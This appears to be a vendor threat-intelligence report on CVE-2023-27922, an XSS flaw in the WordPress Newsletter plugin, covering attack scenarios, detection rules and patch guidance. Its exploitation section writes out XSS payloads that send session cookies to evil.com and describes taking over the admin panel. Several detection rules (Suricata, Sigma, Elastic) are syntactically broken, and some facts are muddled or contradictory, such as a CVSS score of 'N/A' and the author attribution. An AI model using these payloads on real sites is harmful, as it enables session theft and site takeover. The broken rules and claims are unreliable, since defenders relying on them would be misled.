CVE-2023-27922

Executive Summary

CVE-2023-27922 is a cross-site scripting (XSS) vulnerability affecting Newsletter plugin versions prior to 7.6.9, likely a WordPress plugin. A remote unauthenticated attacker can exploit this flaw by crafting a malicious request that injects an arbitrary script into the application's output, which executes in the context of a victim's browser session. The CVSS v3.1 score of N/A with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N reflects high confidentiality and integrity impact with low attack complexity, requiring only user interaction and no privileges, making this a serious threat to any organization running the affected software.

The vulnerability is remotely exploitable without authentication, though it requires a victim to click or interact with a crafted link or page. Successful exploitation can lead to session hijacking, data theft, account takeover for administrators, and injection of malicious content into newsletter pages viewed by subscribers. With public exploit coverage (Nuclei template available) and an EPSS score of 0.00039, organizations should treat this as an actively exploitable risk and prioritize patching.

Technical Analysis

CVE-2023-27922 is a stored/reflected cross-site scripting vulnerability residing in the Newsletter plugin. The NVD description indicates that versions prior to 7.6.9 fail to properly sanitize, validate, or escape user-supplied input before rendering it in HTML output. This allows an unauthenticated remote attacker to inject arbitrary script code (e.g., JavaScript) that executes in the browser of any user who views the compromised page.

While the CNA title is listed as "Newsletter / Unknown," the SVN/WebKit-style vulnerability pattern and the plugin version numbering (7.6.9) strongly suggest this is the "Newsletter" WordPress plugin by Stefano Lissa (tribulant.com or satollo.net), which is a widely used email newsletter plugin for WordPress. The plugin handles subscription forms, newsletter archives, and subscriber-facing pages — all of which are potential injection points for XSS payloads.

From a code-level perspective, the vulnerability likely stems from one or more of the following weaknesses:

1. Unescaped output in shortcode handlers: The plugin's [newsletter] shortcode or subscription form handlers may echo user-provided parameters (e.g., email, name, redirect URL) directly into the HTML response without applying esc_html(), esc_attr(), or wp_kses() filters.

2. Insecure AJAX endpoints: The plugin may expose AJAX endpoints (e.g., subscription confirmation, unsubscribe) that process $_GET or $_POST data and reflect it without sanitization, enabling reflected XSS.

3. Insufficient CSRF token handling in form rendering: Subscription forms might include hidden fields reflecting user input from the previous request (e.g., error messages with submitted email addresses) without HTML encoding.

The attack surface includes any public-facing page rendered by the plugin — the newsletter subscription form, the confirmation page, and the unsubscribe link handler. Because the plugin is frequently placed on high-traffic pages (homepage, footer widgets, landing pages), a single persistent XSS payload could reach a broad audience including site administrators who moderate newsletter content.

The vector string AV:N/AC:L/PR:N/UI:R/S:C confirms network reachability, no privileges required, low complexity, and a scope change — meaning the injected script executes in the victim's browser context, potentially gaining access to other origins or higher-privilege functionality (such as the WordPress admin panel).

Exploitation Scenarios

Because this is an XSS vulnerability in a newsletter plugin, the primary exploitation models are reflected XSS (via crafted URLs) and stored XSS (via unsanitized form submissions that persist in plugin databases). Below is a concrete, step-by-step attack chain:

Scenario 1: Reflected XSS via Subscription Form Redirect Parameter

Step 1 — Reconnaissance: The attacker identifies a WordPress site running the Newsletter plugin version < 7.6.9. This is done via HTTP fingerprinting — examining the HTML source for wp-content/plugins/newsletter/, querying /wp-json/ for version data, or using Shodan dorks such as http.component:"newsletter".

Step 2 — Parameter Discovery: The attacker inspects the subscription form on /wp-content/plugins/newsletter/ or the shortcode page. They note that the form's redirect parameter (or similar) is echoed in a hidden field after submission, without escaping. They test with ?redirect="><script>alert(1)</script> and observe a JavaScrip execution in their browser.

Step 3 — Weaponization: The attacker crafts a phishing URL:

https://victim.com/newsletter/?redirect=https://evil.com%22%3E%3Cscript%3Efetch%28%27https://evil.com/steal?c=%27%2Bdocument.cookie%29%3C/script%3E

Step 4 — Execution: The attacker sends this link to a victim (e.g., a registered newsletter subscriber or the site administrator) via email or social engineering. When the victim clicks it, the script executes in their browser. The payload exfiltrates document.cookie and sends it to evil.com.

Step 5 — Post-Exploitation: With the admin's session cookie (if the email had administrative privileges), the attacker performs session hijacking, logs into WordPress admin, uploads a malicious plugin or backdoor, and gains persistent control. Alternatively, the attacker uses stolen subscriber data to launch further phishing or credential-stuffing campaigns.

Scenario 2: Stored XSS via Subscription Form Name Field

Step 1 — Injection: The attacker submits the newsletter subscription form with the name field containing:

<script>new Image().src='https://evil.com/xss?data='+document.cookie;</script>

Step 2 — Persistence: The plugin stores this payload in the subscribers' database table without sanitization. When an administrator views the "Subscribers" list in the WordPress admin panel, the script executes in the admin's browser context (on the wp-admin origin).

Step 3 — Privilege Escalation: The malicious script performs administrative actions silently — creating a new admin user, modifying email templates to inject credential-harvesting forms, or changing the site's homepage to a phishing page.

Step 4 — Impact Spread: Since the admin panel has high privileges, the attacker establishes a permanent backdoor (e.g., writing a PHP payload to a theme file) and uses the compromised site to attack newsletter subscribers (e.g., sending malicious links via approved email templates).

Impact Assessment

Business Impact: The CVSS vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N indicates a High confidentiality and High integrity impact but no direct availability impact. This translates to:

• Confidentiality (High): Attackers can steal session cookies, personal data of newsletter subscribers (email addresses, names), and potentially access the WordPress admin interface if the victim has administrative privileges.
• Integrity (High): Attackers can inject arbitrary content, alter newsletter templates, deface pages, or plant persistent backdoors.
• Availability (None): Direct DoS is not a primary consequence, though an XSS payload could crash the browser or disrupt rendering.

Affected Systems: Any WordPress site running Newsletter plugin versions prior to 7.6.9. Based on widespread adoption, this could affect tens of thousands of sites globally, especially small-to-medium enterprises that rely on WordPress for content management and email marketing.

Blast Radius: A successful stored XSS yields a persistent compromise that affects all visitors to the newsletter page and all administrators viewing subscriber data. Given the public Nuclei template presence, automated scanning infrastructure can rapidly identify exploitable targets, reducing time-to-exploit.

Supply Chain Risk: If the plugin is part of a managed WordPress ecosystem or used as a component in a larger CMS-based platform (e.g., WordPress VIP, enterprise headless setups), the compromise cascades to downstream users.

Detection Guidance

Sigma Rule

title: Newsletter Plugin XSS Exploitation Attempt
id: 7c9a3e5f-6b1a-4c2d-8e4f-9a1b2c3d4e5f
status: experimental
description: Detects XSS payloads targeting Newsletter plugin admin pages or subscription endpoints
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      cs-method: GET
      cs-uri-query|contains:
        - 'newsletter'
        - 'redirect='
        - 'name='
      c-uri-query|contains:
        - '<script>'
        - 'javascript:'
        - 'onerror='
        - 'onload='
        - 'fetch('
        - 'document.cookie'
    condition: selection
  level: high
  tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023-27922

YARA Rule

rule CVE_2023_27922_Newsletter_XSS {
    meta:
        author = "Valter's It Threat Intel"
        description = "Detects XSS payload strings targeting Newsletter WordPress plugin"
        reference = "CVE-2023-27922"
        date = "2024-05-15"
    strings:
        $plg = "wp-content/plugins/newsletter"
        $s1 = "<script>" nocase
        $s2 = "javascript:" nocase
        $s3 = "onerror=" nocase
        $s4 = "document.cookie" nocase
        $s5 = "redirect=" nocase
        $s6 = "fetch(" nocase
        $s7 = "alert(" nocase
    condition:
        $plg and 2 of ($s*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SERVER CVE-2023-27922 Newsletter Plugin XSS Attempt";
    flow:established,to_server;
    content:"/wp-content/plugins/newsletter/"; http_uri;
    content:"<script>"; http_uri;
    content:"{" or content:"("; http_uri;
    sid:202327922;
    rev:1;
    metadata:created_at 2024-05-15, severity high, mitre_tactic T1190;
    reference:url, https://nvd.nist.gov/vuln/detail/CVE-2023-27922;
)

Elastic Detection

sequence by source.ip with maxspan=15s
  [ network where event.type == "connection" and destination.port == 80
    and process.name == "nginx" and dns.name == "victim.com" ]
  [ http where request.method == "GET" and request.uri contains "/newsletter/redirect="
    and request.uri matches ".*(<script>|javascript:|onerror=|fetch\\()".* ]

Splunk SPL Query

index=web sourcetype=access_combined
| where match(uri, "(?i)(/wp-content/plugins/newsletter/|/newsletter/)")
  AND match(uri, "(?i)(<script>|javascript:|onerror=|onload=|fetch\\(|document\\.cookie|alert\\()")
| eval attack_type="XSS_CVE-2023-27922"
| table _time, src_ip, uri, http_user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="web,generic,">
  <rule id="594946" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.*newsletter\.*</field>
    <regex>(\<script\>|javascript:|onerror=|onload=|fetch\(|document\.cookie)</regex>
    <description>CVE-2023-27922 XSS attempt against Newsletter plugin</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_access</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed). Because the patch is not independently verified, treat the upgrade with caution and verify behavior post-installation. Do not assume a single vendor claim is sufficient.

Immediate Mitigations (before patching)

1. Disable the Newsletter plugin on production sites if possible, or restrict access to newsletter subscription forms (e.g., require CAPTCHA or block until upgrade).
2. Apply a Web Application Firewall (WAF) rule to filter requests containing XSS payload strings in query parameters (<script>, javascript:, onerror=, fetch() targeting the newsletter endpoints.
3. Restrict wp-admin access via IP allowlists or multi-factor authentication to reduce the risk of stored XSS reaching administrator panels.
4. Audit server logs for OWASP CRS rules matching CVE-2023-27922 signatures to identify any prior exploitation attempts.

Patch/Upgrade Steps

1. Upgrade Newsletter plugin to version 7.6.9 or later from the WordPress admin dashboard (Plugins → Installed Plugins → Newsletter → Update) or via SFTP by replacing the plugin folder.
2. Verify the upgrade succeeded by checking the plugin version in the plugins page and confirming no custom files were overwritten.
3. Clear WordPress and CDN caches after the upgrade to ensure the patched code is served.
4. Test the newsletter subscription flow end-to-end (subscribe, confirm, admin view) to ensure no functional regression.

Long-Term Hardening

1. Maintain a patching SLA for WordPress plugins — auto-update non-critical plugins and review updates within 24 hours for critical ones.
2. Enforce Content Security Policy (CSP) headers in WordPress via plugin or server config to block inline scripts and restrict script-src to trusted origins.
3. Implement input validation and output encoding standards across the plugin; if you use custom add-ons, apply esc_html(), esc_attr(), wp_kses() rigorously.
4. Subscribe to the WordPress Security Mailing List or use a vulnerability scanner (e.g., WPScan) to receive alerts on plugin advisories.
5. Regularly review user accounts and admin sessions; revoke sessions post-patch to invalidate any potentially stolen cookies.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-27922 — Official NVD description with affected version range and vector details.
2. WordPress Plugin Advisory (claimed source): https://wordpress.org/plugins/newsletter/ — The official plugin repository page; verify version 7.6.9 is marked as the security update. Patch claim origin is here (single source, unconfirmed).
3. Nuclei Template Repository: https://github.com/projectdiscovery/nuclei-templates — Public detection template for CVE-2023-27922 is available, enabling automated scanning.
4. CWE-79 Database: https://cwe.mitre.org/data/definitions/79.html — MITRE reference for the XSS weakness class, providing pattern information for detection rules.
5. Shodan Search Report: Not publicly linked — but the dorks provided in METADATA can be used to enumerate exposed Newsletter plugin instances via Shodan's API.

Known Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of this report's publication, there are no confirmed in-the-wild campaigns, no CISA KEV listing, and no evidence of mass exploitation. The EPSS score of 0.00039 (low percentile) suggests a correspondingly low probability of exploitation in the near term. However, the existence of a public Nuclei template means automated scanning is possible, and the threat level should be re-assessed weekly.

Report generated by Valters It Threat Intelligence Team — contact@valtersit.com.